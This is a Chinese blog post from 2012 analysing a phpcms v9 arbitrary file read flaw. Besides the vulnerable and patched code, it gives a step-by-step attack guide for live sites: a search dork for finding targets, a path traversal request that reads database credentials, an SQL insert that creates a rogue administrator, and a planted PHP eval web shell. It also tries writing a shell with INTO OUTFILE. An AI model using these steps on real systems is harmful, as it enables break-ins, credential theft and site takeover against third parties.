phpcms <= v9.15 任意文件读取漏洞的分析和如何利用

作者:handt xnhandt 网址:http: www cnblogs com handt archive 2012 07 27 2612329 htm

作者:handt/xnhandt

网址:http://www.cnblogs.com/handt/archive/2012/07/27/2612329.html 

声明:欢迎转载,但请注明出处。

联系方式:mail2gw [AT] QQ 。com


在微博上看到漏洞消息,随后在sebug看到介绍:http://sebug.net/vuldb/ssvid-60295

 

phpcms v9的phpcms\modules\search\index.php存在任意文件读取漏洞

漏洞代码如下:

public function public_get_suggest_keyword() {
        $url = $_GET['url'].'&q='.$_GET['q'];

        $res = @file_get_contents($url);
        if(CHARSET != 'gbk') {
            $res = iconv('gbk', CHARSET, $res);
        }
        echo $res;
    }

问题很明显,$_GET['q']的参数没有进行校验,直接调用了file_get_contents函数文件并显示内容

给出的利用方式为:

/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/phpsso_server/caches/configs/database.php   (由于博客园会把../自动替换为http://www.cnblogs.com,所以使用..\/进行了转义,后同

看起来危害很大,遂从官网下载了phpcms最新版本 v9.16,看到漏洞已经修补。

public function public_get_suggest_keyword() {
        $url = $_GET['url'].'&q='.$_GET['q'];
        $trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
        $urm_md5 = md5($url);
        if (!in_array($urm_md5, $trust_url)) exit;

        $res = @file_get_contents($url);
        if(CHARSET != 'gbk') {
            $res = iconv('gbk', CHARSET, $res);
        }
        echo $res;
    }

修改方式:将提交的url md5一次后,看结果是否在trust_url中,不在则返回错误。


下面是利用方式部分:

1. Google 关键字 "Powered by PHPCMS v9 Release" 或者 "Powered by PHPCMS v9",当然结果不少 :-)

2. 访问 ?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php

(注意:不是sebug中给出的phpsso_server 目录,经xnhandt测试,某个网站是没有该目录的)

3. 得到了数据库的配置信息,注意查看host部分的配置,如果是localhost,那你就准备放弃吧(经试验证明,此想法错误,关键还是对方数据库的配置,是否允许远程访问),如果是ip或者域名,比如这样:

array ( 'hostname' => '61.150.xx.xx', 'database' => '数据库名', 'username' => '用户名', 'password' => '密码', 'tablepre' => 'v9_', 'charset' => 'utf8', 'type' => 'mysql', 'debug' => true, 'pconnect' => 0, 'autoconnect' => 0 ), ); ?>

  就可以继续往下了

4. 远程连接mysql数据库:

>mysql -u 用户名 -h 域名 -p

>输入密码

>use 数据库名

>select * from v9_admin  // 可以先用 show_tables 确定该表是否存在

mysql> insert into v9_admin values('3','xnhandt','52275cda855daa5ec779951cb44170
a1',1,'5YijHB','223.221.32.1','','test@test.co','','','');

建立了新用户:xnhandt:xnhandt

(关于密码:phpcms使用的加密方式是md5( md5($pass) .  $encrypt),如果想更换密码,可以在 这里 加密后替换掉insert语句的内容)

5.访问网站后台:

index.php?m=admin

6.插入一句话木马:

(试过用mysql 写入一句话,但mysql用户权限不够,不能创建文件,所以还是迂回到网页的方式)

依次找到如下位置:【界面】-【default 详情列表】 - 【vote】(这个是默认的模块) - 【list_new.html 修改】

在页面顶部加入一句话:

<?php eval($_POST[pass])?>

7.用客户端(推荐菜刀)连接小马:

index.php?m=vote&c=index&siteid=1   密码为 pass

 


上面1-7就是完整的利用方法了,关于获得webshell再多说一点。

笔者尝试过两种方式获取webshell。

第一种:

利用mysql备份获取webshell的方式可以参看这里:《mysql备份一句话》

该方法的关键是获得网站的物理路径,这里提供一种方法,通过error_log.php文件查看:

index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php

显然这里的根路径是:/www/users/xxxx/wwwroot/了

但是备份的方式在执行

select cmd from a into outfile '/www/users/xxxx/wwwroot/d.php';

时返回结果如下:

笔者试过很多目录,比如备份用到的caches/bakup/defalut/ 等可以写入的路径,发现都失败了

最后使用error_log.php 以为这个是可写可读的文件,还是失败。估计是数据库用户(非root)的权限太小,不能写文件

第二种:

直接在网上搜索“phpcms v9 获取 webshell”,找到这篇文章:《Phpcms v9后台拿webshell

文中的方法不知道作者试过没有,笔者在本地测试不成功。当然,可能是作者的方式被人发到了官方论坛,该方法已经被部分修复了。(比如这里:bbs.phpcms.cn/thread-597032-1-1.html)

所以还是需要自己修改一下。文中直接写文件的方式会失败,但是执行php语句还是可以成功的,在此基础上,直接写入一句话就可以了。

 


通过上文的分析,可以知道利用该漏洞的前提条件:

1.版本 v9 - v9.15 (最新的v9.16已经修复)

2.数据库开启了远程连接(一般的虚拟主机可能都开启了)

这就是为什么sebug通告中最后提到:

sebug 临时解决方案:

    禁止mysql数据库外链.
    给数据库单独的用户权限,不要给root权限.

的原因了。

tips:如果对方没有开启数据库连接远程访问,也不要轻易放弃,尝试下用已有信息直接登录后台,你会有意外惊喜 :-)

 update:2012-7-28 现在登录后台会有提示

 

 

最后,希望看到本文的读者,以学习的态度来对待漏洞。

您可能有感兴趣的文章
PHPCMS后台框架如何实现思路

phpcms模板

国内外主要的PHP开源CMS系统分析

phpcms数据库操作

phpcms模块开发简易好代码教程